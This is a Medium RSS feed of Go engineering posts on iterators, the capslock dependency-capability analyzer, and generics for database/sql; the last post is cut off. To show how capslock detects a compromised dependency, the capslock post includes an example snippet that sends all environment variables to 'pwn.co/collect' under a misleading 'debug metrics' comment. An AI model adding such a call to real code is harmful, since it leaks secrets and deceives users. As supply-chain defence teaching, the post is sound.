<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by James Kirk on Medium]]></title>
        <description><![CDATA[Stories by James Kirk on Medium]]></description>
        <link>https://medium.com/@jimeux?source=rss-5515517abe5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nj2L9683L_c4gAiJ6fBunQ.jpeg</url>
            <title>Stories by James Kirk on Medium</title>
            <link>https://medium.com/@jimeux?source=rss-5515517abe5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 08:15:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jimeux/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A look at iterators in Go]]></title>
            <link>https://medium.com/eureka-engineering/a-look-at-iterators-in-go-f8e86062937c?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8e86062937c</guid>
            <category><![CDATA[go]]></category>
            <category><![CDATA[iterators]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 01:54:32 GMT</pubDate>
            <atom:updated>2024-02-07T14:12:44.438Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNNjmYjbWiPjsOogoR256g.jpeg" /></figure><p>🎅🏻 <em>This post is part of the </em><a href="https://qiita.com/advent-calendar/2023/eureka"><em>Eureka Advent Calendar 2023</em></a> 🎅🏻</p><h3>Introduction</h3><p>Extensions to the <a href="https://go.dev/ref/spec#For_range">for-range statement</a> for both ints (range-over-int) and iterator functions (range-over-func) <a href="https://tip.golang.org/doc/go1.22#language">appeared in Go 1.22</a>, and discussion regarding an <a href="https://github.com/golang/go/issues/61898">iterator library</a> and <a href="https://research.swtch.com/coro">coroutines</a> is also ongoing.</p><p>This post takes a look at the motivation for iterators in Go, and the current state of the related proposals and implementations.</p><p>As of 7th Feb 2024, the status for each feature is as below [<a href="https://tip.golang.org/doc/go1.22#language">0</a>][<a href="https://github.com/golang/go/issues/61405#issuecomment-1727898328">1</a>][<a href="https://github.com/golang/go/issues/61405#issuecomment-1728188863">2</a>].</p><ul><li><strong>range-over-int</strong>: released in 1.22</li><li><strong>range-over-func</strong>: added behind GOEXPERIMENT=rangefunc in Go 1.22 (continued revisions expected)</li><li><strong>iterator library</strong>: currently trying to reach consensus on spec</li><li><strong>coroutines</strong>: <a href="https://github.com/golang/go/blob/6076edc55c548878c261316f3e3294f1f73125a3/src/runtime/coro.go">added internally</a> but not yet released (no external API decided yet)</li></ul><p>If you want to try out the code samples yourself, check out the below repository. Setup instructions are included in the <a href="https://github.com/Jimeux/iter/blob/main/README.md">README</a>.</p><p><a href="https://github.com/Jimeux/iter">GitHub - Jimeux/iter: Some basic code examples based on the current proposals for iterators and the iter package.</a></p><h3>Why iterators?</h3><p>The Go team is very conservative about adding new features to the language, even those taken for granted in other “modern” languages. So what makes iterators different?</p><h4>The need for consistency</h4><p>For-range loops can be used to iterate over certain built-in types, but other types aren’t so intuitive. <a href="https://pkg.go.dev/bufio">bufio</a> introduces multiple iteration patterns.</p><pre>// bufio.Reader<br>r := bufio.NewReader(...)<br>for {<br>    line, _ , err := r.ReadLine()<br>    if err != nil {<br>        break<br>    }<br>    // do something<br>}<br><br><br>// bufio.Scanner<br>scanner := bufio.NewScanner(...)<br>for scanner.Scan() {<br>    line := scanner.Text()<br>    // do something<br>}</pre><h4>Building on generics</h4><p>Generics allow for the definition of custom container types, but there are no guidelines for iteration. Can we say the below API is idiomatic or not?</p><pre>tree := radix.NewTree[int]()<br>for ptr := tree.Traverse(); ptr.HasNext(); ptr = ptr.Next() {<br>    // do something<br>}</pre><h4>Reusability, composition and performance</h4><p>Writing loops on the fly to filter or transform data in container types is common in Go codebases.</p><pre>var even []int <br>for _, n := range ints {<br>    if n % 2 == 0 {<br>        even = append(even, n)<br>    }<br>}</pre><p>With a sequence of such operations, care needs to be taken not to allocate unnecessarily, or loop through items multiple times. There’s no standard for achieving this.</p><h3>Iterators in Go 1.22</h3><h4>Overview</h4><p>Let’s take a look at the iterator specification as it stands for Go 1.22 with GOEXPERIMENT=rangefunc, starting with the type definition for an iterator with individual return values.</p><pre>// Seq is an iterator over sequences of individual values.<br>// When called as seq(yield), seq calls yield(v) for each value v <br>// in the sequence, stopping early if yield returns false.<br>type Seq[V any] func(yield func(V) bool)</pre><p>An iterator is a <a href="https://en.wikipedia.org/wiki/Higher-order_function">higher-order function</a> that takes a function argument (yield) with the signature func(V) bool. Here are some key points:</p><ul><li>The iterator (Seq function) <em>controls</em> the iteration</li><li>The iterator <em>pushes</em> each value back to the caller by calling yield (the iterator also <em>yields</em> control flow back to the caller by calling yield)</li><li>The caller (or for-range loop) defines how each value will be handled in the yield function</li><li>The caller can<em> stop iteration early</em> by returning false from yield</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Irao01b8q8m1JU9jti24kg.png" /><figcaption>Iterator sequence</figcaption></figure><h4>Syntactic sugar</h4><p>Seq functions can be used in for-range statements.</p><pre>mySeq := func(yield func(n int) bool) { ... }<br><br>for v := range mySeq {<br>    // do something with v<br>}</pre><p>The compiler rewrites the loops like below, as detailed in <a href="https://go.googlesource.com/go/+/refs/heads/master/src/cmd/compile/internal/rangefunc/rewrite.go">rewrite.go</a>.</p><pre>mySeq(func(n int) bool {<br>    if breakCondition {<br>        return false // break<br>    }<br>    // do something with n<br>    return true // continue<br>})</pre><p>The return value of yield is the equivalent of continue (true) and break (false), respectively, inside a for-range loop.</p><h4>Implementing a custom iterator</h4><p>We now have a list of requirements for implementing an iterator:</p><ol><li>Implement the Seq signature</li><li>Control iteration of a sequence of values</li><li>Push each value to the caller via yield</li><li>Return early when yield returns false</li></ol><p>Let’s implement an iterator, All, that returns all elements from a custom slice type, secret.Ints.</p><pre>package secret<br><br>// Int is a secret int that may be hidden (not visible).<br>type Int struct {<br>    Val     int<br>    Visible bool<br>}<br><br>type Ints []Int</pre><p>The first requirement is to implement the Seq signature correctly.</p><pre>func (ii Ints) All(yield func(Int) bool) { ... }</pre><p>Next, control iteration of the slice elements; that is, loop over them.</p><pre>func (ii Ints) All(yield func(Int) bool) {<br>    for _, n := range ii { ... }<br>}</pre><p>Finally, we need to push each value back to the caller via yield, terminating when yield returns false.</p><pre>func (ii Ints) All(yield func(Int) bool) {<br>    for _, s := range ii {<br>        if !yield(s) {<br>            return<br>        }<br>    }<br>}</pre><p>And that’s how you write an iterator in Go 1.22. Let’s try it out.</p><pre>ints := secret.Ints{ {1, true}, {2, false}, {3, true} }<br><br>for n := range ints.All {<br>    fmt.Println(n)<br>}<br>// {1 true}\n {2 false}\n {3 true}\n</pre><p><a href="https://go.googlesource.com/go/+/refs/heads/master/src/cmd/compile/internal/rangefunc/rewrite.go">rewrite.go</a> should convert the loop to something like below.</p><pre>ints.All(func(n Int) bool {<br>    fmt.Println(n)<br>    return true <br>})</pre><h4>Additional signatures</h4><p>Seq2 will also be added to Go 1.22, and works the same way as Seq, but yields two values rather than one.</p><p>Here’s a Seq2 iterator for secret.Ints that returns both the index and element together.</p><pre>func (ii Ints) AllWithIndex(yield func(int, Int) bool) {<br>    for i, s := range ii {<br>        if !yield(i, s) {<br>            return<br>        }<br>    }<br>}<br><br>...<br><br>for i, n := range ints.AllWithIndex {<br>    fmt.Println(i, n)<br>}<br>// 0 {1 true}\n 1 {2 false}\n 2 {3 true}\n</pre><h4>Iterator summary</h4><p>With a little imagination, you could define other iterators like ints.ReverseAll or ints.Visible. There are some examples using lists and trees in the <a href="https://github.com/Jimeux/iter/blob/main/README.md">GitHub repository</a>.</p><p><a href="https://github.com/Jimeux/iter">GitHub - Jimeux/iter: Some basic code examples based on the current proposals for iterators and the iter package.</a></p><p>What we gain from Seq/Seq2 is a <strong>consistent</strong> design pattern for iteration over a sequence of values in Go. However, some people may not be happy with the syntax, or clear on how error handling should work. Hopefully we have a final spec in Go 1.23 that suits everyone.</p><h3>The iterator library</h3><p>To make iterators more convenient, an <a href="https://github.com/golang/go/issues/61898">iterator library proposal</a> is also under discussion. It aims to add functions like Filter, Map, Zip, and Reduce to the standard library. Here’s an example with secret.Ints.</p><pre>ints := secret.Ints{ {1, true}, {2, false}, {3, true} }<br><br>filter := xiter.Filter(func(s secret.Int) bool {<br>    return s.Visible<br>}, ints.All)<br><br>mapped := xiter.Map(func(s secret.Int) string {<br>    return strconv.Itoa(s.Val) + &quot;!&quot;<br>}, filter)<br><br>result := xiter.Reduce(nil, func(sum []string, s string) []string {<br>    return append(sum, s)<br>}, mapped)<br><br>fmt.Println(result) // [&quot;1!&quot;, &quot;3!&quot;]</pre><p>It may not be immediately clear, but we can see from the implementation of Filter that it doesn’t allocate a slice, but instead wraps ints.All (seq).</p><pre>// Filter returns an iterator over seq that only includes<br>// the values v for which f(v) is true.<br>func Filter[V any](f func(V) bool, seq Seq[V]) Seq[V] {<br>    return func(yield func(V) bool) {<br>        for v := range seq {<br>            if f(v) &amp;&amp; !yield(v) {<br>                return<br>            }<br>        }<br>    }<br>}</pre><p>Map works in a similar way. Even though there are multiple chained operations, there are exactly len(ints) iterations, and no intermediary slice allocations.</p><p>There is a chain of yield calls, triggered from ints.All, that operates on the values one at a time. Map/Reduce will not see values that don’t pass the Filter condition, keeping redundant work to a minimum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWQpoQ20se5utZmjZ--Ogw.png" /><figcaption>Iterator Chain</figcaption></figure><p>Note that call chaining (ints.All(…).Filter(…)) isn’t possible due to type parameters <a href="https://github.com/golang/go/issues/49085">not being supported on methods</a>, but those who find the Reduce syntax ugly might be interested in <a href="https://github.com/golang/go/issues/61899">this proposal</a> that would provide more concise alternatives.</p><pre>result := slices.Collect(mapped)</pre><h3>Summary</h3><p>Iterators may be the biggest development in Go since generics, and have the potential to change the way a lot of Go code is written. Much is still undecided, but hopefully this post gives an idea of what to expect iterators to look like, and how the standard library may expand to support them.</p><p>In addition, we’re already seeing how iterators may be built upon with concurrency in Russ Cox’s <a href="https://research.swtch.com/coro">in-depth blog post about coroutines in Go</a>. I hope to cover this topic in a future post.</p><p><em>Cover photo by </em><a href="https://unsplash.com/@yogidan2012?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash"><em>Daniele Levis Pelusi</em></a><em> on </em><a href="https://unsplash.com/photos/yellow-red-purple-blue-and-green-layer-paper-wallpaper-yTHEMn4a8Tw?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash"><em>Unsplash</em></a><em>.</em></p><h3>References</h3><ul><li><a href="https://tip.golang.org/doc/go1.22">Go 1.22 Release Notes</a></li><li><a href="https://github.com/golang/go/issues/61405">spec: add range over int, range over func | GitHub</a></li><li><a href="https://github.com/golang/go/issues/61898">proposal: x/exp/xiter: new package with iterator adapters | GitHub</a></li><li><a href="https://github.com/golang/go/issues/61899">proposal: slices: add iterator-related functions | GitHub</a></li><li><a href="https://research.swtch.com/coro">Coroutines for Go | research!rsc</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8e86062937c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/a-look-at-iterators-in-go-f8e86062937c">A look at iterators in Go</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What are your Go dependencies capable of?—An introduction to capslock]]></title>
            <link>https://medium.com/eureka-engineering/what-are-your-go-dependencies-capable-of-an-introduction-to-capslock-b757833c9847?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b757833c9847</guid>
            <category><![CDATA[supply-chain]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[go]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Mon, 02 Oct 2023 06:59:55 GMT</pubDate>
            <atom:updated>2023-10-02T07:04:30.772Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--Iz-hQlfbLr5fNHB0njhg.jpeg" /><figcaption>Focusing on the software supply chain</figcaption></figure><h3>Introduction</h3><p>A solid standard library coupled with a philosophy of simplicity leads to typical Go projects having fewer and smaller dependencies when compared to other popular ecosystems.</p><p>Even so, <a href="https://medium.com/r?url=https%3A%2F%2Fgo.dev%2Fblog%2Fgovulncheck">bringing govulncheck to v1</a> was a priority for the Go security team in 2023, and Google is investing in projects like <a href="https://github.com/google/capslock/">capslock</a> to further make importing external Go modules safer.</p><p>This post aims to gives some background on these initiatives, with a focus on introducing <a href="https://github.com/google/capslock/">capslock</a>.</p><h3>The threat</h3><p>Sonatype’s <a href="https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-demand-security"><em>8th Annual State of the Software Supply Chain</em></a> reported a 742% average annual increase in supply chain attacks between 2020 to 2022, with 6 of 7 vulnerabilities coming from transitive (indirect) dependencies.</p><p>Attacks can occur anywhere along the “chain” from writing source code to the point users are able to access/run the working software. A compromised dependency can pose a threat throughout the chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Q0LJgwQRMHKG8uTAymCbA.png" /><figcaption>Software supply chain threats</figcaption></figure><p>As an example of an attack within the Go ecosystem, <a href="https://github.com/google/capslock/">capslock</a> author Jess McClintock highlighted the recent rise in <a href="https://en.wikipedia.org/wiki/Typosquatting">typosquatting</a> on GitHub during her <a href="https://www.gophercon.com/agenda/session/1160360">GopherCon 2023 talk</a>.</p><p>Unwitting errors, as well as bad actors through deception or <a href="https://en.wiktionary.org/wiki/protestware">protestware</a> scenarios, can also lead to compromised modules, which you may depend on directly or indirectly.</p><h3>The defence</h3><p><a href="https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck">govulncheck</a> can detect <em>known</em> vulnerabilities, but how can informed decisions be made about the attack surface of a module <em>before</em> depending on it? Which of these modules would you add to your go.mod file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHx3ovfXfzduRDdRCW-LXg.png" /><figcaption>Privileges for official and hypothetical typosquatting modules</figcaption></figure><p>Privileges like these are familiar to anyone who has downloaded an app on iOS or Android, and the ability to learn about and consent to what your apps are capable of doing is becoming more fine-grained. What would this look like for the Go modules ecosystem?</p><h3>capslock and capabilities</h3><p><a href="https://github.com/google/capslock/">capslock</a> is a tool that aims to make the above permissions table a reality for Go packages. It uses static analysis to detect what a package— including transitively through its own dependencies — is <em>capable</em> <em>of</em>.</p><p>Here are a few of the <strong>capabilities</strong> defined in <a href="https://github.com/google/capslock/blob/main/docs/capabilities.md">capabilities.md</a> that could be used to make informed decisions about the gooqle and gorrilla modules.</p><ul><li>CAPABILITY_NETWORK — Interact with the network</li><li>CAPABILITY_FILES — Read/modify the file system</li><li>CAPABILITY_SYSTEM_CALLS — Make direct system calls</li><li>CAPABILITY_CGO — Identifies calls that execute native code</li></ul><p>Let’s see the result of running capslock on the official gorilla/securecookie module.</p><pre>$ go install github.com/google/capslock/cmd/capslock@latest<br>$ go get github.com/gorilla/securecookie<br>$ capslock -packages github.com/gorilla/securecookie<br><br>Analyzed packages:<br>github.com/gorilla/securecookie v1.1.1<br><br>CAPABILITY_REFLECT: 8 references<br>CAPABILITY_UNANALYZED: 7 references</pre><p>Note that since reflect is only accessed from tests, CAPABILITY_REFLECT would <strong>not</strong> be output for a module that depends on gorilla/securecookie. That’s because the reflect usages cannot be accessed via any function call graph, and therefore are not an actual risk.</p><h3>Detecting changes</h3><p>Another feature of <a href="https://github.com/google/capslock/">capslock</a> is the ability to compare capabilities between executions. Here’s a simple program that executes ls.</p><pre>func main() {<br> cmd := exec.Command(&quot;ls&quot;)<br> cmd.Stdout = os.Stdout<br> _ = cmd.Run()<br>}</pre><p>As expected, running capslock lets us know that exec is being used.</p><pre>$ capslock<br>Analyzed packages:<br><br>CAPABILITY_EXEC: 1 references</pre><p>The output can be written in JSON format and saved for later use.</p><pre>capslock -output=json &gt; out.json</pre><p>Let’s then modify the program to post environment variables to a collection endpoint.</p><pre>// save important (and safe) debug metrics<br>metrics, _ := json.Marshal(os.Environ())<br>http.Post(&quot;http://pwn.co/collect&quot;, &quot;application/json&quot;, bytes.NewBuffer(metrics))</pre><p>Using the compare feature, it’s clear that concerning new capabilities have been added to the program. If this were a cookie encoder or UUID generator, then careful review and investigation would be required.</p><pre>$ capslock -output=compare out.json<br><br>Package example has new capability CAPABILITY_NETWORK compared to the baseline.<br>Package example has new capability CAPABILITY_READ_SYSTEM_STATE compared to the baseline.<br>Package example has new capability CAPABILITY_REFLECT compared to the baseline.</pre><h3>How does it work?</h3><p>The implementation has <a href="https://pkg.go.dev/golang.org/x/tools@v0.13.0/go/packages">packages</a> and <a href="https://pkg.go.dev/golang.org/x/tools@v0.13.0/go/callgraph">callgraph</a> from <a href="https://pkg.go.dev/golang.org/x/tools/go@v0.13.0">golang.org/x/tools/go</a> do most of the heavy lifting. The interesting parts of the <a href="https://github.com/google/capslock/blob/ace8b602a8c3ff537fe00c5b0140f7181f253352/cmd/capslock/capslock.go#L33">main </a>function are described below. The source is on the <a href="https://github.com/google/capslock/">capslock GitHub</a>.</p><h4>analyzer.GetClassifier</h4><p>This function is called when no custom <em>classifier</em> is specified. A classifier defines capability mappings for specific functions, packages and cgo suffixes.</p><p>GetClassifier calls interesting.DefaultClassifier, which creates an in-memory representation of <a href="https://github.com/google/capslock/blob/b61edb845a7a5b5cd4849593a4a2be1f11fdfe8f/interesting/interesting.cm">interesting.cm</a>. This allows taking a function name like net.Dial and looking up the capability it is mapped to. The content of interesting.cm looks like this.</p><pre>func net.Dial CAPABILITY_NETWORK<br>func os.Environ CAPABILITY_READ_SYSTEM_STATE<br>func sync/atomic.SwapPointer CAPABILITY_UNSAFE_POINTER<br><br>package os/exec CAPABILITY_EXEC<br>package syscall CAPABILITY_SYSTEM_CALLS<br>package unsafe CAPABILITY_ARBITRARY_EXECUTION<br><br>cgo_suffix _Cgo_use<br>cgo_suffix _cgoCheckPointer<br>cgo_suffix _cgoCheckResult</pre><h4>analyzer.LoadPackages</h4><p>This function uses the above-mentioned <a href="https://pkg.go.dev/golang.org/x/tools@v0.13.0/go/packages">packages</a> package to load the packages specified with the -packages flag. It returns them as a slice of type <a href="https://pkg.go.dev/golang.org/x/tools@v0.13.0/go/packages#Package">packages.Package</a>.</p><h4>analyzer.RunCapslock</h4><p>This function performs the static analysis. It calls <a href="https://github.com/google/capslock/blob/29c2da02ab5d3ab22f0745478e6c6d72fd80ab8e/analyzer/analyzer.go#L188">analyzer.GetCapabilityCounts</a>, which is responsible for building the capability -&gt; reference count mappings present in the command output, e.g. CAPABILITY_EXEC: 1 references.</p><p>After the function call graph is built using <a href="https://pkg.go.dev/golang.org/x/tools@v0.13.0/go/callgraph">callgraph</a> and <a href="https://pkg.go.dev/golang.org/x/tools/go/ssa/ssautil">ssautil</a>, all nodes are looped through, and any node with a package or function name found in the classifier is added to a <a href="https://en.wikipedia.org/wiki/Breadth-first_search">breadth-first search</a> (BFS) queue.</p><pre>package main<br><br>import (<br> &quot;bytes&quot;<br> &quot;net/http&quot;<br><br> &quot;github.com/google/uuid&quot;<br>)<br><br>func main() {<br> id := uuid.New().String()<br> http.Post(&quot;https://poster.com&quot;, &quot;application/json&quot;, bytes.NewBufferString(id))<br>}</pre><p>The above program would look something like below (simplified) at the start of the BFS. The classifier entry package net/http CAPABILITY_NETWORK maps the entire net/http package to CAPABILITY_NETWORK, so http.Post is marked as having this capability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*tHBS8XEmwIOuAcwSFh19FQ@2x.png" /><figcaption>All nodes in the call graph with capabilities are marked first</figcaption></figure><p>The BFS then moves out from the marked nodes until reaching the target package (main). Each time it reaches main, it will increment the reference count of the current capability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*NRvpE0f95UyYAajuvOsfGg@2x.png" /><figcaption>The BFS marks callers as it moves along the call graph</figcaption></figure><p>The final output has CAPABILITY_NETWORK with a reference count of one.</p><pre>Analyzed packages:<br>  github.com/google/uuid v1.3.1<br><br>CAPABILITY_NETWORK: 1 references<br>CAPABILITY_UNANALYZED: 1 references</pre><h3>Summary</h3><p>Although experimental at the time of writing, <a href="https://github.com/google/capslock/">capslock</a> is already a useful tool for vetting Go modules. The compare feature also allows for integration into CI pipelines for detecting and acting on the addition of new capabilities to an existing dependency.</p><p>The potential of a future in which <a href="https://pkg.go.dev/">pkg.go.dev</a> lists capabilities for every module, and Go tooling is able to break builds with unapproved capabilities is exciting for anyone concerned about supply chain attacks. If you’re one of these people, consider giving <a href="https://github.com/google/capslock/">capslock</a> a star and showing your support!</p><h3>References</h3><ul><li><a href="https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-demand-security">https://www.sonatype.com/state-of-the-software-supply-chain/open-source-supply-demand-security</a></li><li><a href="https://go.dev/blog/govulncheck">https://go.dev/blog/govulncheck</a></li><li><a href="https://cloud.google.com/software-supply-chain-security/docs/attack-vectors">https://cloud.google.com/software-supply-chain-security/docs/attack-vectors</a></li><li><a href="https://github.com/google/capslock/">https://github.com/google/capslock/</a></li></ul><p><em>Cover photo by </em><a href="https://unsplash.com/@jjying?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText"><em>JJ Ying</em></a><em> on </em><a href="https://unsplash.com/photos/PDxYfXVlK2M?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText"><em>Unsplash</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b757833c9847" width="1" height="1" alt=""><hr><p><a href="https://medium.com/eureka-engineering/what-are-your-go-dependencies-capable-of-an-introduction-to-capslock-b757833c9847">What are your Go dependencies capable of?—An introduction to capslock</a> was originally published in <a href="https://medium.com/eureka-engineering">Pairs Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abstracting database/sql boilerplate with Go generics]]></title>
            <link>https://medium.com/eureka-engineering/abstracting-database-sql-boilerplate-with-go-generics-1471d969beed?source=rss-5515517abe5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1471d969beed</guid>
            <category><![CDATA[database]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[generics]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[James Kirk]]></dc:creator>
            <pubDate>Sat, 10 Dec 2022 03:59:39 GMT</pubDate>
            <atom:updated>2024-02-10T05:16:39.862Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_bSzx_F9yAlboQD5Ph-_A.jpeg" /><figcaption>An abstract vision of abstracting database/sql boilerplate</figcaption></figure><h3>Introduction</h3><p>This post is part of the <a href="https://qiita.com/advent-calendar/2022/eureka">Eureka Advent Calendar 2022</a>.</p><p><a href="https://pkg.go.dev/database/sql">database/sql</a> provides everything needed to work with SQL in Go, yet there’s an ever-growing list of <a href="https://github.com/avelino/awesome-go#sql-query-builders">query builders</a>, <a href="https://github.com/avelino/awesome-go#orm">ORMs</a> and <a href="https://github.com/avelino/awesome-go#utilities">database utilities</a> being developed by the community. Is database/sql really so bad?</p><p>In this post we’ll explore what can be achieved using Go generics with no added dependencies. If you’re not familiar with database/sql basics, then check out <a href="https://go.dev/doc/tutorial/database-access"><em>Tutorial: Accessing a relational database</em></a>.</p><h3>The go-generic-dao repository</h3><p>The code for this post is in the below repository. The <a href="https://github.com/Jimeux/go-generic-dao/tree/vanilla">vanilla</a> branch contains the starting code, and setup instructions are in <a href="https://github.com/Jimeux/go-generic-dao/blob/vanilla/README.md">README.md</a>.</p><p><a href="https://github.com/Jimeux/go-generic-dao">GitHub - Jimeux/go-generic-dao: Reducing database/sql boilerplate using Go generics without the need for added dependencies</a></p><p>The project is a minimal example of using Go to connect to a MySQL database. The interesting packages are shown below.</p><ul><li>db manages an <a href="https://pkg.go.dev/database/sql#DB">sql.DB</a> instance</li><li>user and like each have a model and <a href="https://en.wikipedia.org/wiki/Data_access_object">DAO</a>, which depend on the db package to execute SQL</li></ul><p>The code is standard database/sql, and depends on only <a href="https://github.com/go-sql-driver/mysql">go-sql-driver/mysql</a>. We’ll take a closer look at how the user package is implemented, and explore how the code can be abstracted with generics.</p><h3>The user package</h3><p>Let’s take a look at user/user.go first. It has constants for building raw SQL, and a struct representing a row in the user table.</p><pre>const (<br>   Table   = &quot;`user`&quot;<br>   Columns = &quot;`id`, `nickname`, `bio`, `created_at`&quot;<br>)<br><br>type User struct {<br>   ID        int64<br>   Nickname  string<br>   Bio       sql.Null[string]<br>   CreatedAt time.Time<br>}<br><br>// PtrFields is a convenience method for use with sql#Row.Scan.<br>func (u *User) PtrFields() []any {<br>   return []any{&amp;u.ID, &amp;u.Nickname, &amp;u.Bio, &amp;u.CreatedAt}<br>}</pre><p>user/user_dao.go contains a struct for executing raw SQL strings via the db package. It defines the following methods.</p><pre>GetByID(ctx context.Context, id int64) (User, error) <br>Count(ctx context.Context) (int64, error) <br>FindByIDs(ctx context.Context, ids []int64) ([]User, error) <br>FindIDsWithBio(ctx context.Context) ([]int64, error)</pre><p>The implementation of GetByID shows database/sql in action. It retrieves and parses a single row from the user table.</p><pre>const getByIDQuery = &quot;SELECT &quot; + Columns + <br>  &quot; FROM &quot; + Table + <br>  &quot; WHERE `id` = ?&quot; + <br>  &quot; LIMIT 1;&quot;<br><br>func (DAO) GetByID(ctx context.Context, id int64) (User, error) {<br> row := db.DB().QueryRowContext(ctx, getByIDQuery, id)<br> var u User<br> if err := row.Scan(u.PtrFields()...); err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return u, db.ErrNotFound<br>  }<br>  return u, fmt.Errorf(&quot;user.DAO#GetByID row.Scan error: %w&quot;, err)<br> }<br> return u, nil<br>}</pre><p>ℹ️ ️️The receiver of PtrFields <strong>must</strong> be a pointer — (u *User). A value receiver — (u User)—will create a <strong><em>copy</em></strong> of u, resulting in GetByID returning an <strong><em>empty</em></strong> User struct.</p><pre>=== RUN   TestUserDAO_GetByID/found<br>    user_dao_test.go:65:   user.User{<br>        -  ID:        1,<br>        +  ID:        0,<br>        -  Nickname:  &quot;Socks&quot;,<br>        +  Nickname:  &quot;&quot;,<br>           Bio:       {},<br>        -  CreatedAt: s&quot;2022-12-10 13:17:23 +0000 UTC&quot;,<br>        +  CreatedAt: s&quot;0001-01-01 00:00:00 +0000 UTC&quot;,<br>          }<br>        <br>    --- FAIL: TestUserDAO_GetByID/found (0.05s)</pre><h3>Where the DAO gets painful</h3><p>GetByID is 11 lines, and doesn’t make such a strong case for abstraction. Implementing a WHERE IN query, on the other hand, takes a lot more effort.</p><pre>const findByIDsQuery = &quot;SELECT &quot; + Columns + <br>  &quot; FROM &quot; + Table + <br>  &quot; WHERE `id` IN (%s)&quot; +<br>  &quot; ORDER BY `id`;&quot;<br><br>func (DAO) FindByIDs(ctx context.Context, ids []int64) ([]User, error) {<br> args := make([]any, len(ids))<br> for i, t := range ids {<br>  args[i] = t<br> }<br> placeholders := strings.Repeat(&quot;?,&quot;, len(args)-1) + &quot;?&quot;<br><br> q := fmt.Sprintf(findByIDsQuery, placeholders)<br> rows, err := db.DB().QueryContext(ctx, q, args...)<br> if err != nil {<br>  if errors.Is(err, sql.ErrNoRows) {<br>   return nil, nil<br>  }<br>  return nil, fmt.Errorf(&quot;user.DAO#FindByIDs failed\n%s: %w&quot;, q, err)<br> }<br> defer func() { _ = rows.Close() }()<br><br> var result []User<br> for rows.Next() {<br>  var u User<br>  if err := rows.Scan(u.PtrFields()...); err != nil {<br>   return nil, fmt.Errorf(&quot;user.DAO#FindByIDs scan error: %w&quot;, err)<br>  }<br>  result = append(result, u)<br> }<br> if err := rows.Err(); err != nil {<br>  return nil, fmt.Errorf(&quot;user.DAO#FindByIDs rows.Err(): %w&quot;, err)<br> }<br> return result, nil<br>}</pre><p>This 30-line method highlights a few potential issues going forward:</p><ol><li><strong>Code duplication</strong> — in many cases, only the SQL string and types will differ for any similar Get or Find method</li><li><strong>Lack of type safety </strong>— care needs to be taken using row.Scan with regard to types and argument ordering (PtrFields helps here)</li><li><strong>Inconsistent error handling</strong> — in particular, sql.ErrNoRows could cause unexpected errors if not handled consistently</li></ol><h3>Generics: a brief introduction</h3><p>A common solution to <strong>code duplication</strong> until recently has been the use of reflection. However, reflection does little to help with <strong>lack of type safety</strong>, and tends to come at the cost of readability and performance.</p><p>Generics were introduced in Go 1.18 and offer new solutions to the these problems. See 